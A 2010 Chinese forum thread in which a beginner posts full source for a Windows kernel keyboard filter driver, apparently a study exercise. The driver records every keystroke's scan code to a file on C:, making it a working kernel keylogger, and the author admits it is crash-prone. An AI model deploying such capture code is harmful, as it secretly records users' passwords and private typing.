首页
社区
课程
招聘
[旧帖] [分享][邀请码已发]小菜学键盘过滤驱动 0.00雪花
发表于: 2010-1-12 13:21 2285

[旧帖] [分享][邀请码已发]小菜学键盘过滤驱动 0.00雪花

2010-1-12 13:21
2285
这是小菜写的一个小驱动,学习了寒江的键盘过滤一章和rootkit一书中分层驱动程序一章 ,同时也参考了一些技术详解上的相关章节改写的。代码写的比较凌乱,由于小菜功力尚浅,中间蓝了多次屏,后来都自己解决了。先把这个比较乱的代码发上来望各位大大们指点一下!!
  还有点疑问尚在解决中,就是把全局变量改用设备扩展以后会出现蓝屏,修改的时候有时dump提示IRQL太高,有时出现卸载例程不会被调用,尚在解决中。。。
  废话不说了,上代码。。。

[课程]Linux pwn 探索篇!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (14)
雪    币: 93
活跃值: (340)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
该程序是把按键的扫描码记录下来,并写入C盘根目录下的文本文件里面!!希望有人可以指点指点小菜!

#include <ntddk.h>
#include <ntddkbd.h>

typedef BOOLEAN BOOL;

PETHREAD aThread;        //文件读写线程
PDEVICE_OBJECT aDevice;        //过滤设备对象
BOOL Ter = FALSE;        //线程是否结束
ULONG num = 0;        //计数器
HANDLE hFile;        //文件句柄
ULONG data;        //键盘数据

KSEMAPHORE sem;        //信号量

NTSTATUS Attach(PDRIVER_OBJECT dri)
{
        UNICODE_STRING str;
        NTSTATUS status;
        PDEVICE_OBJECT dev;
        RtlInitUnicodeString(&str, L"\\Device\\KeyboardClass0");
        status = IoCreateDevice(dri,
                0,
                0,
                FILE_DEVICE_KEYBOARD,
                0,
                0,
                &dev);

        dev->Flags = dev->Flags        |        (DO_BUFFERED_IO        |        DO_POWER_PAGABLE);
        dev->Flags = dev->Flags        &~        DO_DEVICE_INITIALIZING;
       
        status = IoAttachDevice(dev, &str, &aDevice);
       
        return status;
}
void ThreadFunc(PVOID pContext)
{
        IO_STATUS_BLOCK ioStatus;
        UNICODE_STRING unicode;
        ANSI_STRING ansi;
        CHAR ch = ' ';
        while(TRUE)
        {
                KeWaitForSingleObject(&sem, Executive, KernelMode, FALSE, NULL);       
                DbgPrint("waitting is ing!");
                if(Ter == TRUE)
                        {
                        PsTerminateSystemThread(STATUS_SUCCESS);
                        }
               
                unicode.Buffer = (PWSTR)ExAllocatePool(PagedPool, 8);
                unicode.MaximumLength = 8;
                RtlIntegerToUnicodeString(data, 16, &unicode);
                DbgPrint("转换后的为:%wZ\n", &unicode);

                RtlUnicodeStringToAnsiString(&ansi, &unicode, TRUE);
                DbgPrint("ANSi 字符串为:%Z\n", &ansi);
               
               
                ZwWriteFile(hFile,
                        0,
                        0,
                        0,
                        &ioStatus,
                        ansi.Buffer,
                        ansi.Length,
                        0,
                        0);
                ZwWriteFile(hFile,
                        0,
                        0,
                        0,
                        &ioStatus,
                        &ch,
                        1,
                        0,
                        0);

                RtlFreeAnsiString(&ansi);
                RtlFreeUnicodeString(&unicode);
                       
        }
        return;
}
NTSTATUS InitThread(PDRIVER_OBJECT dri)
{
        NTSTATUS status;
        HANDLE Thread;
        UNREFERENCED_PARAMETER(dri);
        status = PsCreateSystemThread(&Thread,
        0,
        0,
        0,
        0,
        ThreadFunc,
        0);

        ObReferenceObjectByHandle(Thread, THREAD_ALL_ACCESS, NULL, KernelMode,
                (PVOID*)&aThread, NULL);
       
        ZwClose(Thread);
        return status;
       
}
NTSTATUS ReadCom(PDEVICE_OBJECT dev, PIRP irp, PVOID Context)
{
        PUCHAR buf;
        PKEYBOARD_INPUT_DATA KeyData;

        if(irp->IoStatus.Status        ==        STATUS_SUCCESS)
                {
        buf = irp->AssociatedIrp.SystemBuffer;
        KeyData = (PKEYBOARD_INPUT_DATA)buf;
        data = KeyData->MakeCode;
       
        DbgPrint("ScanCode:%x", data);

        KeReleaseSemaphore(&sem, 0, 1, FALSE);
                }
        if(irp->PendingReturned)
        {
                IoMarkIrpPending(irp);
        }
        num--;
        return irp->IoStatus.Status;
}
NTSTATUS ReadFunc(PDEVICE_OBJECT dev, PIRP irp)
{

        IoCopyCurrentIrpStackLocationToNext(irp);
        IoSetCompletionRoutine(irp,
                ReadCom,
                dev,
                TRUE,
                TRUE,
                TRUE);
        num++;
        return IoCallDriver(aDevice, irp);
}
void Unload(PDRIVER_OBJECT dri)
{
        LARGE_INTEGER timeout = RtlConvertLongToLargeInteger(-10*1000);

        IoDetachDevice(aDevice);

       
        while(num)
                {
                        KeDelayExecutionThread(KernelMode, FALSE, &timeout);
                }
        Ter = TRUE;
        KeReleaseSemaphore(&sem, 0, 1, FALSE);

        KeWaitForSingleObject(aThread, Executive, KernelMode, FALSE, NULL);

       
        IoDeleteDevice(dri->DeviceObject);
        ZwClose(hFile);
        return ;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT dri, PUNICODE_STRING str)
{
        NTSTATUS status;
        UNICODE_STRING FileName;
        OBJECT_ATTRIBUTES objectAttributes;
        IO_STATUS_BLOCK iostatus;
       
        UNREFERENCED_PARAMETER(str);
       
        dri->MajorFunction[IRP_MJ_READ] = ReadFunc;
        dri->DriverUnload = Unload;

        KeInitializeSemaphore(&sem, 0, MAXLONG);

        RtlInitUnicodeString(&FileName, L"\\??\\C:\\Keyboard.txt");
        InitializeObjectAttributes(&objectAttributes,
                &FileName,
                OBJ_CASE_INSENSITIVE,
                NULL,
                NULL);
        ZwCreateFile(&hFile,
                GENERIC_WRITE,
                &objectAttributes,
                &iostatus,
                NULL,
                FILE_ATTRIBUTE_NORMAL,
                0,
                FILE_OVERWRITE_IF,
                FILE_SYNCHRONOUS_IO_NONALERT,
                0,
                0);
               
        status = Attach(dri);
        InitThread(dri);

        return status;
}
2010-1-12 16:57
0
雪    币: 458
活跃值: (421)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
3
支持咯,俺菜鸟 还没搞过驱动的东西呢 !
2010-1-12 17:06
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
8错好文章 发铁赚分
2010-1-12 20:51
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
看来我们还得多多学习啊。。
2010-1-13 16:18
0
雪    币: 42
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cec
6
要向你学习下
2010-1-13 23:05
0
雪    币: 47
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
学习,目前还没达到你的水平
2010-1-21 12:45
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
嗯,好东西,我正打算学习学习驱动的编写
2010-1-29 08:20
0
雪    币: 296
活跃值: (71)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
很深奥,新手实在不知所云...留着以后看了
2010-1-29 08:36
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
准备研究下驱动。。
2010-1-29 09:08
0
雪    币: 46
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
我也是准备看下驱动,这东西从没写过啊
2010-1-29 10:57
0
雪    币: 110
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
不知道逐句翻译出来有没有邀请码。。。
2010-2-4 05:17
0
雪    币: 338
活跃值: (103)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
13
我也在学习这个 哈哈 找到同僚了
2010-2-4 09:56
0
雪    币: 103
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
为什么下载都要钱啊?
2010-2-4 10:06
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
怎么转KX啊?
2010-2-4 13:21
0
游客
登录 | 注册 方可回帖
返回
//